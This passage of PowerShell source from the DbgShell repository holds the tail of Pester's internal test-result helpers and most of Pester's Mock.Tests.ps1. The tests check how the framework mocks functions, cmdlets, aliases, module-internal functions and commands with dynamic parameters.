"Running test '$Name'" -Completed -Status Processing } } finally { Exit-MockScope $Pester.LeaveTest() } if ($null -ne $OutputScriptBlock) { $Pester.testresult[-1] | & $OutputScriptBlock } } function Get-PesterResult { param( [Nullable[TimeSpan]] $Time, [System.Management.Automation.ErrorRecord] $ErrorRecord ) $testResult = @{ name = $name time = $time failureMessage = "" stackTrace = "" ErrorRecord = $null success = $false result = "Failed" }; if(-not $ErrorRecord) { $testResult.Result = "Passed" $testResult.success = $true return $testResult } if ($ErrorRecord.FullyQualifiedErrorID -eq 'PesterAssertionFailed') { # we use TargetObject to pass structured information about the error. $details = $ErrorRecord.TargetObject $failureMessage = $details.Message $file = $details.File $line = $details.Line $lineText = "`n$line`: $($details.LineText)" } elseif ($ErrorRecord.FullyQualifiedErrorId -eq 'PesterTestInconclusive') { # we use TargetObject to pass structured information about the error. $details = $ErrorRecord.TargetObject $failureMessage = $details.Message $file = $details.File $line = $details.Line $lineText = "`n$line`: $($details.LineText)" $testResult.Result = 'Inconclusive' } else { $failureMessage = $ErrorRecord.ToString() $file = $ErrorRecord.InvocationInfo.ScriptName $line = $ErrorRecord.InvocationInfo.ScriptLineNumber $lineText = '' } $testResult.failureMessage = $failureMessage $testResult.stackTrace = "at line: $line in ${file}${lineText}" $testResult.ErrorRecord = $ErrorRecord return $testResult } function Remove-Comments ($Text) { $text -replace "(?s)(<#.*#>)" -replace "\#.*" } function Get-OrderedParameterDictionary { [OutputType([System.Collections.IDictionary])] param ( [scriptblock] $ScriptBlock, [System.Collections.IDictionary] $Dictionary ) $parameters = Get-ParameterDictionary -ScriptBlock $ScriptBlock $orderedDictionary = & $SafeCommands['New-Object'] System.Collections.Specialized.OrderedDictionary foreach ($parameterName in $parameters.Keys) { $value = $null if ($Dictionary.ContainsKey($parameterName)) { $value = $Dictionary[$parameterName] } $orderedDictionary[$parameterName] = $value } return $orderedDictionary } function Get-ParameterDictionary { param ( [scriptblock] $ScriptBlock ) $guid = [guid]::NewGuid().Guid try { & $SafeCommands['Set-Content'] function:\$guid $ScriptBlock $metadata = [System.Management.Automation.CommandMetadata](& $SafeCommands['Get-Command'] -Name $guid -CommandType Function) return $metadata.Parameters } finally { if (& $SafeCommands['Test-Path'] function:\$guid) { & $SafeCommands['Remove-Item'] function:\$guid } } } ================================================ FILE: DbgShell/x86/DbgShellTest/Pester/Functions/Mock.Tests.ps1 ================================================ Set-StrictMode -Version Latest function FunctionUnderTest { [CmdletBinding()] param ( [Parameter(Mandatory=$false)] [string] $param1 ) return "I am a real world test" } function FunctionUnderTestWithoutParams([string]$param1) { return "I am a real world test with no params" } filter FilterUnderTest { $_ } function CommonParamFunction ( [string] ${Uncommon}, [switch] ${Verbose}, [switch] ${Debug}, [System.Management.Automation.ActionPreference] ${ErrorAction}, [System.Management.Automation.ActionPreference] ${WarningAction}, [System.String] ${ErrorVariable}, [System.String] ${WarningVariable}, [System.String] ${OutVariable}, [System.Int32] ${OutBuffer} ){ return "Please strip me of my common parameters. They are far too common." } function PipelineInputFunction { param( [Parameter(ValueFromPipeline=$True)] [int]$PipeInt1, [Parameter(ValueFromPipeline=$True)] [int[]]$PipeInt2, [Parameter(ValueFromPipeline=$True)] [string]$PipeStr, [Parameter(ValueFromPipelineByPropertyName=$True)] [int]$PipeIntProp, [Parameter(ValueFromPipelineByPropertyName=$True)] [int[]]$PipeArrayProp, [Parameter(ValueFromPipelineByPropertyName=$True)] [string]$PipeStringProp ) begin{ $p = 0 } process { foreach($i in $input) { $p += 1 write-output @{ index=$p; val=$i; PipeInt1=$PipeInt1; PipeInt2=$PipeInt2; PipeStr=$PipeStr; PipeIntProp=$PipeIntProp; PipeArrayProp=$PipeArrayProp; PipeStringProp=$PipeStringProp; } } } } Describe "When calling Mock on existing function" { Mock FunctionUnderTest { return "I am the mock test that was passed $param1"} $result = FunctionUnderTest "boundArg" It "Should rename function under test" { $renamed = (Test-Path function:PesterIsMocking_FunctionUnderTest) $renamed | Should Be $true } It "Should Invoke the mocked script" { $result | Should Be "I am the mock test that was passed boundArg" } } Describe "When the caller mocks a command Pester uses internally" { Mock Write-Host { } Context "Context run when Write-Host is mocked" { It "does not make extra calls to the mocked command" { Write-Host 'Some String' Assert-MockCalled 'Write-Host' -Exactly 1 } It "retains the correct mock count after the first test completes" { Assert-MockCalled 'Write-Host' -Exactly 1 } } } Describe "When calling Mock on existing cmdlet" { Mock Get-Process {return "I am not Get-Process"} $result=Get-Process It "Should Invoke the mocked script" { $result | Should Be "I am not Get-Process" } It 'Should not resolve $args to the parent scope' { { $args = 'From', 'Parent', 'Scope'; Get-Process SomeName } | Should Not Throw } } Describe 'When calling Mock on an alias' { $originalPath = $env:path try { # Our TeamCity server has a dir.exe on the system path, and PowerShell v2 apparently finds that instead of the PowerShell alias first. # This annoying bit of code makes sure our test works as intended even when this is the case. $dirExe = Get-Command dir -CommandType Application -ErrorAction SilentlyContinue if ($null -ne $dirExe) { foreach ($app in $dirExe) { $parent = (Split-Path $app.Path -Parent).TrimEnd('\') $pattern = "^$([regex]::Escape($parent))\\?" $env:path = $env:path -split ';' -notmatch $pattern -join ';' } } Mock dir {return 'I am not dir'} $result = dir It 'Should Invoke the mocked script' { $result | Should Be 'I am not dir' } } finally { $env:path = $originalPath } } Describe 'When calling Mock on an alias that refers to a function Pester can''t see' { It 'Mocks the aliased command successfully' { # This function is defined in a non-global scope; code inside the Pester module can't see it directly. function orig {'orig'} New-Alias 'ali' orig ali | Should Be 'orig' { mock ali {'mck'} } | Should Not Throw ali | Should Be 'mck' } } Describe 'When calling Mock on a filter' { Mock FilterUnderTest {return 'I am not FilterUnderTest'} $result = 'Yes I am' | FilterUnderTest It 'Should Invoke the mocked script' { $result | Should Be 'I am not FilterUnderTest' } } Describe 'When calling Mock on an external script' { $ps1File = New-Item 'TestDrive:\tempExternalScript.ps1' -ItemType File -Force $ps1File | Set-Content -Value "'I am tempExternalScript.ps1'" Mock 'TestDrive:\tempExternalScript.ps1' {return 'I am not tempExternalScript.ps1'} <# # Invoking the script using its absolute path is not supported $result = TestDrive:\tempExternalScript.ps1 It 'Should Invoke the absolute-path-qualified mocked script using just the script name' { $result | Should Be 'I am not tempExternalScript.ps1' } $result = & TestDrive:\tempExternalScript.ps1 It 'Should Invoke the absolute-path-qualified mocked script using the command-invocation operator (&)' { $result | Should Be 'I am not tempExternalScript.ps1' } $result = . TestDrive:\tempExternalScript.ps1 It 'Should Invoke the absolute-path-qualified mocked script using dot source notation' { $result | Should Be 'I am not tempExternalScript.ps1' } #> Push-Location TestDrive:\ try { $result = tempExternalScript.ps1 It 'Should Invoke the mocked script using just the script name' { $result | Should Be 'I am not tempExternalScript.ps1' } $result = & tempExternalScript.ps1 It 'Should Invoke the mocked script using the command-invocation operator' { #the command invocation operator is (&). Moved this to comment because it breaks the continuous builds. #there is issue for this on GH $result | Should Be 'I am not tempExternalScript.ps1' } $result = . tempExternalScript.ps1 It 'Should Invoke the mocked script using dot source notation' { $result | Should Be 'I am not tempExternalScript.ps1' } <# # Invoking the script using only its relative path is not supported $result = .\tempExternalScript.ps1 It 'Should Invoke the relative-path-qualified mocked script' { $result | Should Be 'I am not tempExternalScript.ps1' } #> } finally { Pop-Location } Remove-Item $ps1File -Force -ErrorAction SilentlyContinue } Describe 'When calling Mock on an application command' { Mock schtasks.exe {return 'I am not schtasks.exe'} $result = schtasks.exe It 'Should Invoke the mocked script' { $result | Should Be 'I am not schtasks.exe' } } Describe "When calling Mock in the Describe block" { Mock Out-File {return "I am not Out-File"} It "Should mock Out-File successfully" { $outfile = "test" | Out-File "TestDrive:\testfile.txt" $outfile | Should Be "I am not Out-File" } } Describe "When calling Mock on existing cmdlet to handle pipelined input" { Mock Get-ChildItem { if($_ -eq 'a'){ return "AA" } if($_ -eq 'b'){ return "BB" } } $result = '' "a", "b" | Get-ChildItem | % { $result += $_ } It "Should process the pipeline in the mocked script" { $result | Should Be "AABB" } } Describe "When calling Mock on existing cmdlet with Common params" { Mock CommonParamFunction $result=[string](Get-Content function:\CommonParamFunction) It "Should strip verbose" { $result.contains("`${Verbose}") | Should Be $false } It "Should strip Debug" { $result.contains("`${Debug}") | Should Be $false } It "Should strip ErrorAction" { $result.contains("`${ErrorAction}") | Should Be $false } It "Should strip WarningAction" { $result.contains("`${WarningAction}") | Should Be $false } It "Should strip ErrorVariable" { $result.contains("`${ErrorVariable}") | Should Be $false } It "Should strip WarningVariable" { $result.contains("`${WarningVariable}") | Should Be $false } It "Should strip OutVariable" { $result.contains("`${OutVariable}") | Should Be $false } It "Should strip OutBuffer" { $result.contains("`${OutBuffer}") | Should Be $false } It "Should not strip an Uncommon param" { $result.contains("`${Uncommon}") | Should Be $true } } Describe "When calling Mock on non-existing function" { try{ Mock NotFunctionUnderTest {return} } Catch { $result=$_ } It "Should throw correct error" { $result.Exception.Message | Should Be "Could not find command NotFunctionUnderTest" } } Describe 'When calling Mock, StrictMode is enabled, and variables are used in the ParameterFilter' { Set-StrictMode -Version Latest $result = $null $testValue = 'test' try { Mock FunctionUnderTest { 'I am the mock' } -ParameterFilter { $param1 -eq $testValue } } catch { $result = $_ } It 'Does not throw an error when testing the parameter filter' { $result | Should Be $null } It 'Calls the mock properly' { FunctionUnderTest $testValue | Should Be 'I am the mock' } It 'Properly asserts the mock was called when there is a variable in the parameter filter' { Assert-MockCalled FunctionUnderTest -Exactly 1 -ParameterFilter { $param1 -eq $testValue } } } Describe "When calling Mock on existing function without matching bound params" { Mock FunctionUnderTest {return "fake results"} -parameterFilter {$param1 -eq "test"} $result=FunctionUnderTest "badTest" It "Should redirect to real function" { $result | Should Be "I am a real world test" } } Describe "When calling Mock on existing function with matching bound params" { Mock FunctionUnderTest {return "fake results"} -parameterFilter {$param1 -eq "badTest"} $result=FunctionUnderTest "badTest" It "Should return mocked result" { $result | Should Be "fake results" } } Describe "When calling Mock on existing function without matching unbound arguments" { Mock FunctionUnderTestWithoutParams {return "fake results"} -parameterFilter {$param1 -eq "test" -and $args[0] -eq 'notArg0'} $result=FunctionUnderTestWithoutParams -param1 "test" "arg0" It "Should redirect to real function" { $result | Should Be "I am a real world test with no params" } } Describe "When calling Mock on existing function with matching unbound arguments" { Mock FunctionUnderTestWithoutParams {return "fake results"} -parameterFilter {$param1 -eq "badTest" -and $args[0] -eq 'arg0'} $result=FunctionUnderTestWithoutParams "badTest" "arg0" It "Should return mocked result" { $result | Should Be "fake results" } } Describe 'When calling Mock on a function that has no parameters' { function Test-Function { } Mock Test-Function { return $args.Count } It 'Sends the $args variable properly with 2+ elements' { Test-Function 1 2 3 4 5 | Should Be 5 } It 'Sends the $args variable properly with 1 element' { Test-Function 1 | Should Be 1 } It 'Sends the $args variable properly with 0 elements' { Test-Function | Should Be 0 } } Describe "When calling Mock on cmdlet Used by Mock" { Mock Set-Item {return "I am not Set-Item"} Mock Set-Item {return "I am not Set-Item"} $result = Set-Item "mypath" -value "value" It "Should Invoke the mocked script" { $result | Should Be "I am not Set-Item" } } Describe "When calling Mock on More than one command" { Mock Invoke-Command {return "I am not Invoke-Command"} Mock FunctionUnderTest {return "I am the mock test"} $result = Invoke-Command {return "yes I am"} $result2 = FunctionUnderTest It "Should Invoke the mocked script for the first Mock" { $result | Should Be "I am not Invoke-Command" } It "Should Invoke the mocked script for the second Mock" { $result2 | Should Be "I am the mock test" } } Describe 'When calling Mock on a module-internal function.' { New-Module -Name TestModule { function InternalFunction { 'I am the internal function' } function PublicFunction { InternalFunction } function PublicFunctionThatCallsExternalCommand { Start-Sleep 0 } function FuncThatOverwritesExecutionContext { param ($ExecutionContext) InternalFunction } Export-ModuleMember -Function PublicFunction, PublicFunctionThatCallsExternalCommand, FuncThatOverwritesExecutionContext } | Import-Module -Force New-Module -Name TestModule2 { function InternalFunction { 'I am the second module internal function' } function InternalFunction2 { 'I am the second module, second function' } function PublicFunction { InternalFunction } function PublicFunction2 { InternalFunction2 } function FuncThatOverwritesExecutionContext { param ($ExecutionContext) InternalFunction } function ScopeTest { return Get-CallerModuleName } function Get-CallerModuleName { [CmdletBinding()] param ( ) return $PSCmdlet.SessionState.Module.Name } Export-ModuleMember -Function PublicFunction, PublicFunction2, FuncThatOverwritesExecutionContext, ScopeTest } | Import-Module -Force It 'Should fail to call the internal module function' { { TestModule\InternalFunction } | Should Throw } It 'Should call the actual internal module function from the public function' { TestModule\PublicFunction | Should Be 'I am the internal function' } Context 'Using Mock -ModuleName "ModuleName" "CommandName" syntax' { Mock -ModuleName TestModule InternalFunction { 'I am the mock test' } It 'Should call the mocked function' { TestModule\PublicFunction | Should Be 'I am the mock test' } Mock -ModuleName TestModule Start-Sleep { } It 'Should mock calls to external functions from inside the module' { PublicFunctionThatCallsExternalCommand Assert-MockCalled -ModuleName TestModule Start-Sleep -Exactly 1 } Mock -ModuleName TestModule2 InternalFunction -ParameterFilter { $args[0] -eq 'Test' } { "I'm the mock who's been passed parameter Test" } It 'Should only call mocks within the same module' { TestModule2\PublicFunction | Should Be 'I am the second module internal function' } Mock -ModuleName TestModule2 InternalFunction2 { InternalFunction 'Test' } It 'Should call mocks from inside another mock' { TestModule2\PublicFunction2 | Should Be "I'm the mock who's been passed parameter Test" } It 'Should work even if the function is weird and steps on the automatic $ExecutionContext variable.' { TestModule2\FuncThatOverwritesExecutionContext | Should Be 'I am the second module internal function' TestModule\FuncThatOverwritesExecutionContext | Should Be 'I am the mock test' } Mock -ModuleName TestModule2 Get-CallerModuleName -ParameterFilter { $false } It 'Should call the original command from the proper scope if no parameter filters match' { TestModule2\ScopeTest | Should Be 'TestModule2' } Mock -ModuleName TestModule2 Get-Content { } It 'Does not trigger the mocked Get-Content from Pester internals' { Mock -ModuleName TestModule2 Get-CallerModuleName -ParameterFilter { $false } Assert-MockCalled -ModuleName TestModule2 Get-Content -Times 0 -Scope It } } AfterAll { Remove-Module TestModule -Force Remove-Module TestModule2 -Force } } Describe "When Applying multiple Mocks on a single command" { Mock FunctionUnderTest {return "I am the first mock test"} -parameterFilter {$param1 -eq "one"} Mock FunctionUnderTest {return "I am the Second mock test"} -parameterFilter {$param1 -eq "two"} $result = FunctionUnderTest "one" $result2= FunctionUnderTest "two" It "Should Invoke the mocked script for the first Mock" { $result | Should Be "I am the first mock test" } It "Should Invoke the mocked script for the second Mock" { $result2 | Should Be "I am the Second mock test" } } Describe "When Applying multiple Mocks with filters on a single command where both qualify" { Mock FunctionUnderTest {return "I am the first mock test"} -parameterFilter {$param1.Length -gt 0 } Mock FunctionUnderTest {return "I am the Second mock test"} -parameterFilter {$param1 -gt 1 } $result = FunctionUnderTest "one" It "The last Mock should win" { $result | Should Be "I am the Second mock test" } } Describe "When Applying multiple Mocks on a single command where one has no filter" { Mock FunctionUnderTest {return "I am the first mock test"} -parameterFilter {$param1 -eq "one"} Mock FunctionUnderTest {return "I am the paramless mock test"} Mock FunctionUnderTest {return "I am the Second mock test"} -parameterFilter {$param1 -eq "two"} $result = FunctionUnderTest "one" $result2= FunctionUnderTest "three" It "The parameterless mock is evaluated last" { $result | Should Be "I am the first mock test" } It "The parameterless mock will be applied if no other wins" { $result2 | Should Be "I am the paramless mock test" } } Describe "When Creating a Verifiable Mock that is not called" { Context "In the test script's scope" { Mock FunctionUnderTest {return "I am a verifiable test"} -Verifiable -parameterFilter {$param1 -eq "one"} FunctionUnderTest "three" | Out-Null try { Assert-VerifiableMocks } Catch { $result=$_ } It "Should throw" { $result.Exception.Message | Should Be "`r`n Expected FunctionUnderTest to be called with `$param1 -eq `"one`"" } } Context "In a module's scope" { New-Module -Name TestModule -ScriptBlock { function ModuleFunctionUnderTest { return 'I am the function under test in a module' } } | Import-Module -Force Mock -ModuleName TestModule ModuleFunctionUnderTest {return "I am a verifiable test"} -Verifiable -parameterFilter {$param1 -eq "one"} TestModule\ModuleFunctionUnderTest "three" | Out-Null try { Assert-VerifiableMocks } Catch { $result=$_ } It "Should throw" { $result.Exception.Message | Should Be "`r`n Expected ModuleFunctionUnderTest in module TestModule to be called with `$param1 -eq `"one`"" } AfterAll { Remove-Module TestModule -Force } } } Describe "When Creating a Verifiable Mock that is called" { Mock FunctionUnderTest -Verifiable -parameterFilter {$param1 -eq "one"} FunctionUnderTest "one" It "Assert-VerifiableMocks Should not throw" { { Assert-VerifiableMocks } | Should Not Throw } } Describe "When Calling Assert-MockCalled 0 without exactly" { Mock FunctionUnderTest {} FunctionUnderTest "one" try { Assert-MockCalled FunctionUnderTest 0 } Catch { $result=$_ } It "Should throw if mock was called" { $result.Exception.Message | Should Be "Expected FunctionUnderTest to be called 0 times exactly but was called 1 times" } It "Should not throw if mock was not called" { Assert-MockCalled FunctionUnderTest 0 { $param1 -eq "stupid" } } } Describe "When Calling Assert-MockCalled with exactly" { Mock FunctionUnderTest {} FunctionUnderTest "one" FunctionUnderTest "one" try { Assert-MockCalled FunctionUnderTest -exactly 3 } Catch { $result=$_ } It "Should throw if mock was not called the number of times specified" { $result.Exception.Message | Should Be "Expected FunctionUnderTest to be called 3 times exactly but was called 2 times" } It "Should not throw if mock was called the number of times specified" { Assert-MockCalled FunctionUnderTest -exactly 2 { $param1 -eq "one" } } } Describe "When Calling Assert-MockCalled without exactly" { Mock FunctionUnderTest {} FunctionUnderTest "one" FunctionUnderTest "one" FunctionUnderTest "two" It "Should throw if mock was not called at least the number of times specified" { $scriptBlock = { Assert-MockCalled FunctionUnderTest 4 } $scriptBlock | Should Throw "Expected FunctionUnderTest to be called at least 4 times but was called 3 times" } It "Should not throw if mock was called at least the number of times specified" { Assert-MockCalled FunctionUnderTest } It "Should not throw if mock was called at exactly the number of times specified" { Assert-MockCalled FunctionUnderTest 2 { $param1 -eq "one" } } It "Should throw an error if any non-matching calls to the mock are made, and the -ExclusiveFilter parameter is used" { $scriptBlock = { Assert-MockCalled FunctionUnderTest -ExclusiveFilter { $param1 -eq 'one' } } $scriptBlock | Should Throw '1 non-matching calls were made' } } Describe "Using Pester Scopes (Describe,Context,It)" { Mock FunctionUnderTest {return "I am the first mock test"} -parameterFilter {$param1 -eq "one"} Mock FunctionUnderTest {return "I am the paramless mock test"} Context "When in the first context" { It "should mock Describe scoped paramles mock" { FunctionUnderTest | should be "I am the paramless mock test" } It "should mock Describe scoped single param mock" { FunctionUnderTest "one" | should be "I am the first mock test" } } Context "When in the second context" { It "should mock Describe scoped paramles mock again" { FunctionUnderTest | should be "I am the paramless mock test" } It "should mock Describe scoped single param mock again" { FunctionUnderTest "one" | should be "I am the first mock test" } } Context "When using mocks in both scopes" { Mock FunctionUnderTestWithoutParams {return "I am the other function"} It "should mock Describe scoped mock." { FunctionUnderTest | should be "I am the paramless mock test" } It "should mock Context scoped mock." { FunctionUnderTestWithoutParams | should be "I am the other function" } } Context "When context hides a describe mock" { Mock FunctionUnderTest {return "I am the context mock"} Mock FunctionUnderTest {return "I am the parameterized context mock"} -parameterFilter {$param1 -eq "one"} It "should use the context paramles mock" { FunctionUnderTest | should be "I am the context mock" } It "should use the context parameterized mock" { FunctionUnderTest "one" | should be "I am the parameterized context mock" } } Context "When context no longer hides a describe mock" { It "should use the describe mock" { FunctionUnderTest | should be "I am the paramless mock test" } It "should use the describe parameterized mock" { FunctionUnderTest "one" | should be "I am the first mock test" } } Context 'When someone calls Mock from inside an It block' { Mock FunctionUnderTest { return 'I am the context mock' } It 'Sets the mock' { Mock FunctionUnderTest { return 'I am the It mock' } } It 'Leaves the mock active in the parent scope' { FunctionUnderTest | Should Be 'I am the It mock' } } } Describe 'Testing mock history behavior from each scope' { function MockHistoryChecker { } Mock MockHistoryChecker { 'I am the describe mock.' } Context 'Without overriding the mock in lower scopes' { It "Reports that zero calls have been made to in the describe scope" { Assert-MockCalled MockHistoryChecker -Exactly 0 -Scope Describe } It 'Calls the describe mock' { MockHistoryChecker | Should Be 'I am the describe mock.' } It "Reports that zero calls have been made in an It block, after a context-scoped call" { Assert-MockCalled MockHistoryChecker -Exactly 0 -Scope It } It "Reports one Context-scoped call" { Assert-MockCalled MockHistoryChecker -Exactly 1 } It "Reports one Describe-scoped call" { Assert-MockCalled MockHistoryChecker -Exactly 1 -Scope Describe } } Context 'After exiting the previous context' { It 'Reports zero context-scoped calls in the new context.' { Assert-MockCalled MockHistoryChecker -Exactly 0 } It 'Reports one describe-scoped call from the previous context' { Assert-MockCalled MockHistoryChecker -Exactly 1 -Scope Describe } } Context 'While overriding mocks in lower scopes' { Mock MockHistoryChecker { 'I am the context mock.' } It 'Calls the context mock' { MockHistoryChecker | Should Be 'I am the context mock.' } It 'Reports one context-scoped call' { Assert-MockCalled MockHistoryChecker -Exactly 1 } It 'Reports two describe-scoped calls, even when one is an override mock in a lower scope' { Assert-MockCalled MockHistoryChecker -Exactly 2 -Scope Describe } It 'Calls an It-scoped mock' { Mock MockHistoryChecker { 'I am the It mock.' } MockHistoryChecker | Should Be 'I am the It mock.' } It 'Reports 2 context-scoped calls' { Assert-MockCalled MockHistoryChecker -Exactly 2 } It 'Reports 3 describe-scoped calls' { Assert-MockCalled MockHistoryChecker -Exactly 3 -Scope Describe } } It 'Reports 3 describe-scoped calls using the default scope in a Describe block' { Assert-MockCalled MockHistoryChecker -Exactly 3 } } Describe "Using a single no param Describe" { Mock FunctionUnderTest {return "I am the describe mock test"} Context "With a context mocking the same function with no params"{ Mock FunctionUnderTest {return "I am the context mock test"} It "Should use the context mock" { FunctionUnderTest | should be "I am the context mock test" } } } Describe 'Dot Source Test' { # This test is only meaningful if this test file is dot-sourced in the global scope. If it's executed without # dot-sourcing or run by Invoke-Pester, there's no problem. function TestFunction { Test-Path -Path 'Test' } Mock Test-Path { } $null = TestFunction It "Calls the mock with parameter 'Test'" { Assert-MockCalled Test-Path -Exactly 1 -ParameterFilter { $Path -eq 'Test' } } It "Doesn't call the mock with any other parameters" { InModuleScope Pester { $global:calls = $mockTable['||Test-Path'].CallHistory } Assert-MockCalled Test-Path -Exactly 0 -ParameterFilter { $Path -ne 'Test' } } } Describe 'Mocking Cmdlets with dynamic parameters' { $mockWith = { if (-not $CodeSigningCert) { throw 'CodeSigningCert variable not found, or set to false!' } } Mock Get-ChildItem -MockWith $mockWith -ParameterFilter { [bool]$CodeSigningCert } It 'Allows calls to be made with dynamic parameters (including parameter filters)' { { Get-ChildItem -Path Cert:\ -CodeSigningCert } | Should Not Throw Assert-MockCalled Get-ChildItem } } Describe 'Mocking functions with dynamic parameters' { Context 'Dynamicparam block that uses the variables of static parameters in its logic' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting { [CmdletBinding()] param ( [string] $Name ) DynamicParam { if ($Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } $mockWith = { if (-not $Capitalize) { throw 'Capitalize variable not found, or set to false!' } } Mock Get-Greeting -MockWith $mockWith -ParameterFilter { [bool]$Capitalize } It 'Allows calls to be made with dynamic parameters (including parameter filters)' { { Get-Greeting -Name lowercase -Capitalize } | Should Not Throw Assert-MockCalled Get-Greeting } $Capitalize = $false It 'Sets the dynamic parameter variable properly' { { Get-Greeting -Name lowercase -Capitalize } | Should Not Throw Assert-MockCalled Get-Greeting -Scope It } } Context 'When the mocked command is in a module' { New-Module -Name TestModule { function PublicFunction { Get-Greeting -Name lowercase -Capitalize } $script:DoDynamicParam = $true # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function script:Get-Greeting { [CmdletBinding()] param ( [string] $Name ) DynamicParam { # This check is here to make sure the mocked version can still work if the # original function's dynamicparam block relied on script-scope variables. if (-not $script:DoDynamicParam) { return } if ($Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } } | Import-Module -Force $mockWith = { if (-not $Capitalize) { throw 'Capitalize variable not found, or set to false!' } } Mock Get-Greeting -MockWith $mockWith -ModuleName TestModule -ParameterFilter { [bool]$Capitalize } It 'Allows calls to be made with dynamic parameters (including parameter filters)' { { TestModule\PublicFunction } | Should Not Throw Assert-MockCalled Get-Greeting -ModuleName TestModule } AfterAll { Remove-Module TestModule -Force } } Context 'When the mocked command has mandatory parameters that are passed in via the pipeline' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting2 { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [string] $MandatoryParam, [string] $Name ) DynamicParam { if ($Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } Mock Get-Greeting2 { 'Mocked' } -ParameterFilter { [bool]$Capitalize } $hash = @{ Result = $null } $scriptBlock = { $hash.Result = 'Mandatory' | Get-Greeting2 -Name test -Capitalize } It 'Should successfully call the mock and generate the dynamic parameters' { $scriptBlock | Should Not Throw $hash.Result | Should Be 'Mocked' } } Context 'When the mocked command has parameter sets that are ambiguous at the time the dynamic param block is executed' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting3 { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'One')] [string] $One, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'Two')] [string] $Two, [string] $Name ) DynamicParam { if ($Name -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } Mock Get-Greeting3 { 'Mocked' } -ParameterFilter { [bool]$Capitalize } $hash = @{ Result = $null } $scriptBlock = { $hash.Result = New-Object psobject -Property @{ One = 'One' } | Get-Greeting3 -Name test -Capitalize } It 'Should successfully call the mock and generate the dynamic parameters' { $scriptBlock | Should Not Throw $hash.Result | Should Be 'Mocked' } } Context 'When the mocked command''s dynamicparam block depends on the contents of $PSBoundParameters' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting4 { [CmdletBinding()] param ( [string] $Name ) DynamicParam { if ($PSBoundParameters['Name'] -cmatch '\b[a-z]') { $Attributes = New-Object Management.Automation.ParameterAttribute $Attributes.ParameterSetName = "__AllParameterSets" $Attributes.Mandatory = $false $AttributeCollection = New-Object Collections.ObjectModel.Collection[Attribute] $AttributeCollection.Add($Attributes) $Dynamic = New-Object System.Management.Automation.RuntimeDefinedParameter('Capitalize', [switch], $AttributeCollection) $ParamDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary $ParamDictionary.Add("Capitalize", $Dynamic) $ParamDictionary } } end { if($PSBoundParameters.Capitalize) { $Name = [regex]::Replace( $Name, '\b\w', { $args[0].Value.ToUpper() } ) } "Welcome $Name!" } } Mock Get-Greeting4 { 'Mocked' } -ParameterFilter { [bool]$Capitalize } $hash = @{ Result = $null } $scriptBlock = { $hash.Result = Get-Greeting4 -Name test -Capitalize } It 'Should successfully call the mock and generate the dynamic parameters' { $scriptBlock | Should Not Throw $hash.Result | Should Be 'Mocked' } } Context 'When the mocked command''s dynamicparam block depends on the contents of $PSCmdlet.ParameterSetName' { # Get-Greeting sample function borrowed and modified from Bartek Bielawski's # blog at http://becomelotr.wordpress.com/2012/05/10/using-and-abusing-dynamic-parameters/ function Get-Greeting5 { [CmdletBinding(DefaultParameterSetName = 'One')] 